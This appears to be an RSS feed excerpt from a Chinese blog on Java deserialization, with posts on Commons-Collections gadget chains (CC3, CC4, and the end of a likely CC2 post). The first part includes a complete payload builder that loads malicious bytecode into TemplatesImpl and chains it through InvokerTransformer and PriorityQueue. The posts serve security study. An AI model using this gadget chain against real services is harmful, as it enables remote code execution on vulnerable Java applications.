&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; obj;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;(String&lt;span style="color:#f92672"&gt;[]&lt;/span&gt; args) &lt;span style="color:#66d9ef"&gt;throws&lt;/span&gt; Exception{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; TemplatesImpl templates &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; TemplatesImpl();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Class&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;extends&lt;/span&gt; TemplatesImpl&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; templatesClass &lt;span style="color:#f92672"&gt;=&lt;/span&gt; templates.&lt;span style="color:#a6e22e"&gt;getClass&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Field name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; templatesClass.&lt;span style="color:#a6e22e"&gt;getDeclaredField&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;_name&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name.&lt;span style="color:#a6e22e"&gt;setAccessible&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name.&lt;span style="color:#a6e22e"&gt;set&lt;/span&gt;(templates,&lt;span style="color:#e6db74"&gt;&amp;#34;abc&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Field bytecodes &lt;span style="color:#f92672"&gt;=&lt;/span&gt; templatesClass.&lt;span style="color:#a6e22e"&gt;getDeclaredField&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;_bytecodes&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; bytecodes.&lt;span style="color:#a6e22e"&gt;setAccessible&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;byte&lt;/span&gt;&lt;span style="color:#f92672"&gt;[]&lt;/span&gt; evil &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Files.&lt;span style="color:#a6e22e"&gt;readAllBytes&lt;/span&gt;(Paths.&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;D:\\java安全学习过程中的测试代码\\Calc.class&amp;#34;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;byte&lt;/span&gt;&lt;span style="color:#f92672"&gt;[][]&lt;/span&gt; codes&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{evil};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; bytecodes.&lt;span style="color:#a6e22e"&gt;set&lt;/span&gt;(templates,codes);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; InvokerTransformer invokerTransformer &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; InvokerTransformer&lt;span style="color:#f92672"&gt;&amp;lt;&amp;gt;&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;newTransformer&amp;#34;&lt;/span&gt;,&lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Class&lt;span style="color:#f92672"&gt;[]&lt;/span&gt;{},&lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Object&lt;span style="color:#f92672"&gt;[]&lt;/span&gt;{});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; TransformingComparator transformingComparator &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; TransformingComparator&lt;span style="color:#f92672"&gt;&amp;lt;&amp;gt;&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; ConstantTransformer&lt;span style="color:#f92672"&gt;&amp;lt;&amp;gt;&lt;/span&gt;(1));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; PriorityQueue priorityQueue &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; PriorityQueue&lt;span style="color:#f92672"&gt;&amp;lt;&amp;gt;&lt;/span&gt;(transformingComparator);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; priorityQueue.&lt;span style="color:#a6e22e"&gt;add&lt;/span&gt;(templates);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; priorityQueue.&lt;span style="color:#a6e22e"&gt;add&lt;/span&gt;(templates);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Class&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;extends&lt;/span&gt; TransformingComparator&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; c &lt;span style="color:#f92672"&gt;=&lt;/span&gt; transformingComparator.&lt;span style="color:#a6e22e"&gt;getClass&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Field transformer &lt;span style="color:#f92672"&gt;=&lt;/span&gt; c.&lt;span style="color:#a6e22e"&gt;getDeclaredField&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;transformer&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; transformer.&lt;span style="color:#a6e22e"&gt;setAccessible&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; transformer.&lt;span style="color:#a6e22e"&gt;set&lt;/span&gt;(transformingComparator,invokerTransformer);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; serialize(priorityQueue);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; unserialize(&lt;span style="color:#e6db74"&gt;&amp;#34;ser.bin&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="总结"&gt;
 总结
 &lt;a class="anchor" href="#%e6%80%bb%e7%bb%93"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;CC 链直接差别都不大，前面的学懂了后面的链子很容易上手。&lt;/p&gt;</description></item><item><title>java反序列化之CC4</title><link>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcc4/</link><pubDate>Sun, 17 May 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcc4/</guid><description>&lt;h1 id="java反序列化之cc4"&gt;
 java反序列化之CC4
 &lt;a class="anchor" href="#java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8bcc4"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="cc4-链分析"&gt;
 CC4 链分析
 &lt;a class="anchor" href="#cc4-%e9%93%be%e5%88%86%e6%9e%90"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;CC 链的漏洞一般都和&lt;code&gt;transform&lt;/code&gt;方法分不开。&lt;/p&gt;
&lt;p&gt;我们前面学习的 CC1、CC6、CC3，命令执行的方法就两种，为反射或动态加载字节码。而 CC4 链中如果&lt;code&gt;Commons-Collections4&lt;/code&gt;的版本在 4.1， &lt;code&gt;InvokerTransformer&lt;/code&gt;类不再继承&lt;code&gt;Serializable&lt;/code&gt;接口了，无法序列化。&lt;/p&gt;
&lt;p&gt;既然&lt;code&gt;InvokerTransformer&lt;/code&gt;用不了，我们就去看看谁能替代它。这里使用的是&lt;code&gt;InstantiateTransformer&lt;/code&gt;，它的&lt;code&gt;transform&lt;/code&gt;方法中反射调用了构造器，接下来看看谁调用了&lt;code&gt;transform()&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;TransformingComparator&lt;/code&gt;类的&lt;code&gt;compare()&lt;/code&gt;方法中调用了&lt;code&gt;transform()&lt;/code&gt;方法，而这个方法也很常见。&lt;/p&gt;
&lt;p&gt;TransformingComparator#compare()：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;compare&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;final&lt;/span&gt; I obj1, &lt;span style="color:#66d9ef"&gt;final&lt;/span&gt; I obj2) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;final&lt;/span&gt; O value1 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;transformer&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;transform&lt;/span&gt;(obj1);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;final&lt;/span&gt; O value2 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;transformer&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;transform&lt;/span&gt;(obj2);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;decorated&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;compare&lt;/span&gt;(value1, value2);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个链子就和之前的3条不同了。接着往前找，在&lt;code&gt;java.util.PriorityQueue&lt;/code&gt;这个类中的&lt;code&gt;siftDownUsingComparator&lt;/code&gt;方法中调用了&lt;code&gt;compare()&lt;/code&gt;方法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;siftDownUsingComparator&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; k, E x) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; half &lt;span style="color:#f92672"&gt;=&lt;/span&gt; size &lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; 1;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; (k &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; half) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; child &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (k &lt;span style="color:#f92672"&gt;&amp;lt;&amp;lt;&lt;/span&gt; 1) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; 1;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Object c &lt;span style="color:#f92672"&gt;=&lt;/span&gt; queue&lt;span style="color:#f92672"&gt;[&lt;/span&gt;child&lt;span style="color:#f92672"&gt;]&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; right &lt;span style="color:#f92672"&gt;=&lt;/span&gt; child &lt;span style="color:#f92672"&gt;+&lt;/span&gt; 1;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (right &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; size &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; comparator.&lt;span style="color:#a6e22e"&gt;compare&lt;/span&gt;((E) c, (E) queue&lt;span style="color:#f92672"&gt;[&lt;/span&gt;right&lt;span style="color:#f92672"&gt;]&lt;/span&gt;) &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; 0)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; c &lt;span style="color:#f92672"&gt;=&lt;/span&gt; queue&lt;span style="color:#f92672"&gt;[&lt;/span&gt;child &lt;span style="color:#f92672"&gt;=&lt;/span&gt; right&lt;span style="color:#f92672"&gt;]&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (comparator.&lt;span style="color:#a6e22e"&gt;compare&lt;/span&gt;(x, (E) c) &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; 0)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;break&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; queue&lt;span style="color:#f92672"&gt;[&lt;/span&gt;k&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; c;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; k &lt;span style="color:#f92672"&gt;=&lt;/span&gt; child;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; queue&lt;span style="color:#f92672"&gt;[&lt;/span&gt;k&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; x;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;接着往上找，在这个类的&lt;code&gt;siftDown&lt;/code&gt;中调用了&lt;code&gt;siftDownUsingComparator&lt;/code&gt;：&lt;/p&gt;</description></item><item><title>java反序列化之CC3</title><link>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcc3/</link><pubDate>Thu, 14 May 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcc3/</guid><description>&lt;h1 id="java反序列化之cc3"&gt;
 java反序列化之CC3
 &lt;a class="anchor" href="#java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8bcc3"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="cc3-简介"&gt;
 CC3 简介
 &lt;a class="anchor" href="#cc3-%e7%ae%80%e4%bb%8b"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;CC3 和之前的 CC1 和 CC6 有很大区别，CC1 和 CC6 是通过&lt;code&gt;Runtime.exec()&lt;/code&gt;进行命令执行的，很多时候代码中会 ban 了&lt;code&gt;Runtime&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;而在 CC3 中，是通过动态类加载机制实现自动执行&lt;strong&gt;恶意类代码&lt;/strong&gt;的。&lt;/p&gt;
&lt;p&gt;下面再回顾以下 java 动态类加载机制。&lt;/p&gt;
&lt;h2 id="templatesimpl-解析"&gt;
 TemplatesImpl 解析
 &lt;a class="anchor" href="#templatesimpl-%e8%a7%a3%e6%9e%90"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;在我之前动态类加载的博客中有讲过利用&lt;code&gt;ClassLoader#defineClass&lt;/code&gt;直接加载字节码的方法。在这一条链子中，简单说就是调用&lt;code&gt;ClassLoader.loadClass()&lt;/code&gt;，然后会调用&lt;code&gt;ClassLoader.findClass()&lt;/code&gt;，然后会调用&lt;code&gt;ClassLoader.defineClass()&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这里从正向看这个链子，首先&lt;code&gt;loadClass()&lt;/code&gt;，作用是从已加载的类缓存、父加载器等位置寻找类（即双亲委派机制），在前面没有找到的情况下执行&lt;code&gt;findClass()&lt;/code&gt;。&lt;code&gt;findClass()&lt;/code&gt;这个方法根据名称或位置加载 class 字节码，然后调用&lt;code&gt;defineClass()&lt;/code&gt;。&lt;code&gt;findClass()&lt;/code&gt;这个方法通常会由子类实现。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;defineClass()&lt;/code&gt;的作用是处理前面传入的字节码，把字节码转化成真正的 java 类。而此时的&lt;code&gt;defineClass()&lt;/code&gt;是有局限性的，因为只加载类，并不执行类。若需要执行，则需要先进行&lt;code&gt;newInstance()&lt;/code&gt;实例化。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ClassLoader&lt;/code&gt;的&lt;code&gt;defineClass()&lt;/code&gt;方法的作用域为&lt;code&gt;protected&lt;/code&gt;，我们需要找到作用域为&lt;code&gt;public&lt;/code&gt;的类方便使用。&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;TemplatesImpl&lt;/code&gt;类的静态内部类&lt;code&gt;TransletClassLoader&lt;/code&gt;中找到了我们能够运用的&lt;code&gt;defineClass&lt;/code&gt;。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Class &lt;span style="color:#a6e22e"&gt;defineClass&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;final&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;byte&lt;/span&gt;&lt;span style="color:#f92672"&gt;[]&lt;/span&gt; b) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; defineClass(&lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;, b, 0, b.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里的&lt;code&gt;defineClass()&lt;/code&gt;没有标注作用域，默认为包级私有，在自己的类里可以调用。继续查找用法。&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;TemplatesImpl&lt;/code&gt;的&lt;code&gt;defineTransletClasses&lt;/code&gt;方法中找到了调用，这个方法是私有的，找一下谁调用了&lt;code&gt;defineTransletClasses&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;还是同一个类下的&lt;code&gt;getTransletInstance()&lt;/code&gt;方法调用了&lt;code&gt;defineTransletClasses&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; Translet &lt;span style="color:#a6e22e"&gt;getTransletInstance&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;throws&lt;/span&gt; TransformerConfigurationException {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (_name &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (_class &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;) defineTransletClasses(); &lt;span style="color:#75715e"&gt;//调用点&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// The translet needs to keep a reference to all its auxiliary&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// class to prevent the GC from collecting them&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; AbstractTranslet translet &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (AbstractTranslet) _class&lt;span style="color:#f92672"&gt;[&lt;/span&gt;_transletIndex&lt;span style="color:#f92672"&gt;]&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;newInstance&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; translet.&lt;span style="color:#a6e22e"&gt;postInitialization&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; translet.&lt;span style="color:#a6e22e"&gt;setTemplates&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; translet.&lt;span style="color:#a6e22e"&gt;setServicesMechnism&lt;/span&gt;(_useServicesMechanism);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; translet.&lt;span style="color:#a6e22e"&gt;setAllowedProtocols&lt;/span&gt;(_accessExternalStylesheet);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (_auxClasses &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; translet.&lt;span style="color:#a6e22e"&gt;setAuxiliaryClasses&lt;/span&gt;(_auxClasses);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; translet;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt; (InstantiationException e) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ErrorMsg err &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; ErrorMsg(ErrorMsg.&lt;span style="color:#a6e22e"&gt;TRANSLET_OBJECT_ERR&lt;/span&gt;, _name);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;throw&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; TransformerConfigurationException(err.&lt;span style="color:#a6e22e"&gt;toString&lt;/span&gt;());
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt; (IllegalAccessException e) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ErrorMsg err &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; ErrorMsg(ErrorMsg.&lt;span style="color:#a6e22e"&gt;TRANSLET_OBJECT_ERR&lt;/span&gt;, _name);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;throw&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; TransformerConfigurationException(err.&lt;span style="color:#a6e22e"&gt;toString&lt;/span&gt;());
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
